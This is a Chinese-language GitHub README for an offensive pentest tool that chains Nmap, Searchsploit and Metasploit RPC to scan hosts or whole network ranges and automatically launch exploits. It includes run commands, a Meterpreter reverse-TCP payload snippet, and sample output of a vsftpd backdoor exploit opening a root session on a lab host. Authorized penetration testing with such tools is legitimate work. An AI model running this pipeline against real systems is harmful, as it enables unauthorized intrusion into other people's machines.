PIXELQUADRO07/AutoPwn-Scanner
GitHub: PIXELQUADRO07/AutoPwn-Scanner
将Nmap、Searchsploit和Metasploit整合为自动化渗透测试流水线的工具,可一键完成端口扫描、漏洞识别和漏洞利用尝试。
Stars: 0 | Forks: 0

# 🔍 AutoPwn 扫描器




## 目录
- [概述](#overview)
- [架构](#architecture)
- [项目结构](#project-structure)
- [需求](#requirements)
- [安装](#installation)
- [配置](#configuration)
- [使用说明](#usage)
- [数据库](#database)
- [会话监控](#session-monitor)
- [示例输出](#sample-output)
- [扩展工具](#extending-the-tool)
## 概述
**AutoPwn Scanner** 是一个攻击性安全管道,将三个标准渗透测试工具集成到一个单一的自动化工作流中:
| 阶段 | 工具 | 用途 |
|-------|------|---------|
| 1 | **Nmap** | 端口扫描 + 服务版本检测 |
| 2 | **Searchsploit** | 公开漏洞利用查找(针对发现的服务)|
| 3 | **Metasploit RPC** | 自动模块加载和漏洞利用尝试 |
每个结果都持久化到本地 **SQLite** 数据库,并且 Meterpreter 会话由后台监控线程实时通知。
## 架构
```
┌──────────────────────────────────────────────────────────────┐
│ scanner_runner (C++) │
│ │
│ ┌──────────┐ ┌─────────────┐ ┌──────────────────┐ │
│ │ Nmap │───▶│ scan_IP.xml │───▶│ Searchsploit │ │
│ └──────────┘ └─────────────┘ └────────┬─────────┘ │
│ │ JSON │
└───────────────────────────────────────────────┼─────────────┘
│
┌──────────────────────▼────────────┐
│ logic_mapper.py │
│ │
│ ┌────────────┐ ┌──────────────┐ │
│ │ NmapParser │ │ SSFilter │ │
│ └─────┬──────┘ └──────┬───────┘ │
│ └────────┬────────┘ │
│ ┌───────▼───────┐ │
│ │ MetasploitMgr │◀─msfrpcd │
│ └───────┬───────┘ │
│ ┌───────▼───────┐ │
│ │ SQLite DB │ │
│ └───────────────┘ │
│ │
│ ┌─────────────────────────────┐ │
│ │ MeterpreterMonitor (thread) │ │
│ └─────────────────────────────┘ │
└────────────────────────────────────┘
```
## 项目结构
```
autopwn-scanner/
├── scanner_runner.cpp # C++ runner: launches Nmap, Searchsploit, and Python
├── logic_mapper.py # Python core: XML parsing, MSF filter, RPC, monitor
├── db_report.py # Human-readable SQLite report
├── start_msfrpcd.sh # Helper script to start the Metasploit RPC daemon
├── config.ini.example # Configuration template (config.ini is in .gitignore)
├── requirements.txt # Python dependencies
├── results/ # Created at runtime (excluded from git)
│ ├── scan_
.xml
│ ├── searchsploit_results.json
│ └── scanner.db
└── README.md
```
## 需求
| 依赖项 | 最低版本 | 备注 |
|------------|----------------|-------|
| 操作系统 | Kali Linux / Parrot OS | 推荐;可在任何基于 Debian 的发行版上运行 |
| Python | 3.10+ | 需要用于 `list[dict]` 类型提示 |
| GCC/G++ | 9+ | 必须支持 `-std=c++17` |
| Nmap | 7.80+ | 需包含 `vulners` 脚本 |
| Metasploit Framework | 6.x | `msfconsole`、`msfrpcd` |
| Searchsploit / ExploitDB | 任意版本 | `sudo apt install exploitdb` |
## 安装
```
# 克隆仓库
git clone https://github.com//autopwn-scanner.git
cd autopwn-scanner
# 安装 Python 依赖
pip install -r requirements.txt
# 编译 C++ 运行器
g++ -o scanner_runner scanner_runner.cpp -std=c++17
# 复制并自定义配置
cp config.ini.example config.ini
nano config.ini
```
## 配置
所有敏感设置都存放在 `config.ini` 中(永不提交到 Git):
```
[metasploit]
password = change_this_password
host = 127.0.0.1
port = 55553
[scanner]
output_dir = ./results
monitor_interval = 5 # seconds between each polling cycle
post_pipeline_wait = 10 # extra seconds after pipeline for slow staged payloads
[database]
path = ./results/scanner.db
```
## 使用说明
### 步骤 1 — 启动 Metasploit RPC 守护进程
```
# 在单独的终端中
bash start_msfrpcd.sh
# 或手动
msfrpcd -P change_this_password -n -f -a 127.0.0.1 -p 55553
```
### 步骤 2 — 运行管道
```
# 单个目标(需要 sudo 使用 Nmap 原始套接字)
sudo ./scanner_runner 192.168.1.10
# CIDR 网络范围
sudo ./scanner_runner 192.168.1.0/24
```
C++ 运行器按顺序执行:
1. `nmap -sV --script=vulners -oX results/scan_.xml `
2. `searchsploit --nmap results/scan_.xml -j → results/searchsploit_results.json`
3. `python3 logic_mapper.py --xml ... --json ...`
在交互模式下,使用 `clear` 或 `cls` 重置终端屏幕。
### 交互式 CLI 命令
在 `./scanner_runner` 交互模式下,您还可以使用:
- `searchsploit ` — 对现有的 Nmap XML 文件或命名目标运行 Searchsploit。
- `exploit list [query]` — 列出 `msfconsole` 中的 Metasploit 漏洞利用模块。
- `exploit show [module]` — 显示所选漏洞利用或指定模块的详细信息。
- `exploit select ` — 选择一个模块以供后续执行。
- `exploit run [rport] [module]` — 执行所选或指定的漏洞利用模块。
- `msf list [query]` — `exploit list` 的别名。
### 步骤 3 — 查看结果
```
python3 db_report.py
# 使用自定义数据库路径
python3 db_report.py ./results/scanner.db
```
### `logic_mapper.py` 的高级选项
```
python3 logic_mapper.py --xml --json [--monitor-interval SEC]
--xml Path to the Nmap XML output file
--json Path to the Searchsploit JSON output file
--monitor-interval Seconds between session monitor polls (default: 5)
```
## 数据库
位于 `results/scanner.db` 的 SQLite 数据库包含三个表:
```
Targets
id · ip · hostname · os_info · scan_time
Vulnerabilities
id · target_id → Targets
port · protocol · service · version
exploit_name · exploit_path · has_msf · found_time
Exploits_Found
id · vuln_id → Vulnerabilities
msf_module · rhost · rport
session_id · success · attempt_time
```
快速查询示例:
```
# 所有成功利用的漏洞
sqlite3 results/scanner.db \
"SELECT rhost, msf_module, session_id FROM Exploits_Found WHERE success=1;"
# 有可用 MSF 模块的漏洞
sqlite3 results/scanner.db \
"SELECT t.ip, v.port, v.service, v.exploit_name
FROM Vulnerabilities v JOIN Targets t ON v.target_id=t.id
WHERE v.has_msf=1;"
```
## 会话监控
`MeterpreterMonitor` 在整个管道运行期间作为守护线程运行。
当检测到新会话时,它会向 stdout 打印彩色横幅:
```
╔══════════════════════════════════════════════╗
║ ★ METERPRETER SESSION ║
╠══════════════════════════════════════════════╣
║ Session ID : 1 ║
║ Target : 192.168.1.50 ║
║ Type : meterpreter ║
║ Platform : linux / x86_64 ║
║ User : root ║
║ Module : exploits/unix/ftp/vsftpd_234 ║
║ Time : 14:32:07 ║
╚══════════════════════════════════════════════╝
```
| 会话类型 | 图标 | 颜色 |
|---|---|---|
| `meterpreter` | ★ | 绿色 |
| `shell` | ✓ | 黄色 |
| 其他 | ~ | 青色 |
会话会自动记录到数据库中,即使不是由管道直接启动的(例如并行运行的手动漏洞利用)。
## 示例输出
```
==============================================
Security Scanner Runner (C++) - Lab
==============================================
[NMAP] Starting scan on: 192.168.1.50
[NMAP] XML output -> ./results/scan_192.168.1.50.xml
[SEARCHSPLOIT] Parsing XML...
[PYTHON-BRIDGE] Invoking logic_mapper.py
══════════════════════════════════════════════
LOGIC MAPPER – Pipeline started
══════════════════════════════════════════════
[MONITOR] Started. Polling every 5s.
[DB] Connected to: ./results/scanner.db
[PARSER] Hosts found: 1
[MSF] Connected to msfrpcd at 127.0.0.1:55553
[MAPPER] Host: 192.168.1.50 (metasploitable) OS: Linux 2.6.x
↳ Port 21/tcp: ftp vsftpd 2.3.4
→ Attempting MSF: exploits/unix/ftp/vsftpd_234_backdoor
[MSF] Launching: exploits/unix/ftp/vsftpd_234_backdoor → 192.168.1.50:21
★ METERPRETER SESSION [ID: 1 | 192.168.1.50] ★
[MAPPER] Waiting 10s for delayed sessions...
[MONITOR] Stopped.
[MAPPER] Pipeline complete. Data saved to DB.
```
## 扩展工具
**自定义 Nmap 标志** — 编辑 `scanner_runner.cpp` 中的 `NmapRunner::run()`:
```
// Full port scan with OS detection
"nmap -A -p- --script=vulners -oX " + output_xml + " " + target
```
**不同的 Metasploit 有效负载** — 编辑 `MetasploitManager.run_exploit()`:
```
# 切换到无阶段 Windows x64 Meterpreter
payload = self.client.modules.use("payload", "windows/x64/meterpreter_reverse_tcp")
```
**来自 MeterpreterMonitor 的外部通知** — 扩展 `_notify()`:
```
import requests
requests.post("https://hooks.slack.com/...", json={"text": f"Session opened on {rhost}!"})
```
**导出 JSON 格式报告**:
```
# 在 db_report.py 中,将 print() 替换为 json.dump() 以便机器可读输出
```
标签:CISA项目, CTF工具, CTI, C++安全工具, Docker部署, Meterpreter, Nmap, PE 加载器, RPC利用, Searchsploit, SQLite数据库, 云存储安全, 内核监控, 授权测试, 插件系统, 无线安全, 渗透测试框架, 漏洞搜索, 网络安全, 网络扫描, 自动化渗透, 虚拟驱动器, 逆向工具, 防御, 隐私保护